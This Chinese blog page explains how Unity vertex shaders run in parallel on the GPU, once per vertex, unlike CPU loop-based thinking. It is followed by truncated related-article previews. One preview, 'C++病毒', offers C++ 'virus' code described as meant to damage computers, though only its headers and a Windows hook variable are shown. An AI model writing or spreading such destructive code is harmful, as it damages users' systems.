【Unity Shader编程】之GPU编程前言

devtools/2025/2/19 9:11:35/

之前一直不懂,为什么写一个shader代码,然后整个模型就会动,因为之前都是cpu编程思路,比如说cpu控制一个人物行走,就是控制一个人物,要控制10个人物,就要循环10次,分别控制他们,但是在gpu不一样,因为gpu编程是并行性,你写完gpu的编程,写完shader,是直接挂在单一物体上,这个时候,我们控制的是这个物体,但是控制的是这个物体的什么呢?
1,顶点
顶点着色器 v2f vert (appdata v) {},以前的误解,一物体引用了该shader之后,这个不是应该只执行一次吗?只执行一次,也没看到它控制所有顶点进行变换,为什么模型会产生那么大的变换?(这个就是妥妥的cpu编程思维了,困扰了我好久),在shader编程中,顶点着色器对应的是该附着的模型的所有顶点,例如,一个模型有100个顶点,那么该shader脚本里面的顶点着色器
v2f vert (appdata v) {}就会执行100次,而结构体v传入的数据是shader自动去赋值的。然后gpu有几万,几十万个计算线程,就可以快速的去计算,因而这就是gpu和cpu的不同,gpu并行,高速计算,渲染。cpu复杂计算,单一,和用户交互,内存交互等等,拥有各自不同的功能。
**

并行架构设计

CPU和GPU的设计目标不同。CPU注重低延迟和复杂逻辑处理,而GPU注重高吞吐量和数据并行。因此,编程模型上,CPU通常使用多线程(如OpenMP),而GPU使用大规模并行线程(如CUDA)。


http://www.ppmy.cn/devtools/158710.html

相关文章

C++病毒(^_^|)(2)

第二期 声明&#xff1a; 仅供损害电脑&#xff0c;不得用于非法。损坏电脑&#xff0c;作者一律不负责。此作为作者原创&#xff0c;转载请经过同意。 直接上代码 #include <bits/stdc.h> #include <windows.h> using namespace std; HHOOK g_hHook;void lrud(…

1. 对比 LVS 负载均衡群集的 NAT 模式和 DR 模式,比较其各自的优势 。2. 基于 openEuler 构建 LVS-DR 群集。

DR 模式 * 负载各节点服务器通过本地网络连接&#xff0c;不需要建立专用的IP隧道 原理&#xff1a;首先负载均衡器接收到客户的请求数据包时&#xff0c;根据调度算法决定将请求发送给哪个后端的真实服务器&#xff08;RS&#xff09;。然后负载均衡器就把客户端发送的请求数…

kafka生产端之架构及工作原理

文章目录 整体架构元数据更新 整体架构 消息在真正发往Kafka之前&#xff0c;有可能需要经历拦截器&#xff08;Interceptor&#xff09;、序列化器&#xff08;Serializer&#xff09;和分区器&#xff08;Partitioner&#xff09;等一系列的作用&#xff0c;那么在此之后又会…

NumPy中生成和堆叠数组、生成切片的特殊对象:np.r_ np.c_ np.s_

在NumPy中有三个特殊的对象&#xff0c;非常好用&#xff1a; np.r_&#xff1a;按行连接两个数组&#xff0c;也就是将两个数组垂直堆叠。np.c_&#xff1a;按列连接两个数组&#xff0c;也就是将两个数组水平堆叠。np.s_&#xff1a;生成用于切片的slice对象。 下面详细介绍…

电子时钟html

要求&#xff1a; 电子时钟的时间需与北京时间实时对应。 原理&#xff1a; 获取当地时间&#xff0c;我发现不用UTC8&#xff0c;当地时间已经与北京时间一致。获取时分秒&#xff0c;小于十的补零。调用clock更新&#xff0c;这样刷新的时候还会有内容。设置每秒钟调用一次。…

hexo 魔改 | 修改卡片透明度

hexo 魔改 | 修改卡片透明度 ** 博客食物用更佳 博客地址 ** 这是笔者自己瞎倒腾的。作为前端菜鸡一枚&#xff0c;大佬们随便看看就好~ 我用的主题是 butterfly 4.12.0 分析 通过开发者工具可以看出来卡片的背景和 --card-bg 变量有关 再在 sources 下的 css 文件夹下的…

2024年12月电子学会青少年机器人技术等级考试(三级)理论综合真题

202412 青少年等级考试机器人理论真题三级 一、单选题 第 1 题 Arduino UNO/Nano主控板&#xff0c;程序模块如下&#xff0c;该模块运行后&#xff0c;引脚5输出的等效电压为0V&#xff0c;变量i对应的值是&#xff1f;&#xff08; &#xff09; A&#xff1a;0 B&#xff1…

Unity状态机的实现方法一

Unity状态机知识点整理 1. 状态机基本概念 1.1 什么是状态机 Unity常见的状态机管理分为三种&#xff1a; 枚举状态机通过实现接口的方式多态出的更加便于维护的状态机Unity Animator自带的StateMachineBehaviour 1.2 不同状态机实现方式的对比 自定义状态机&#xff08;…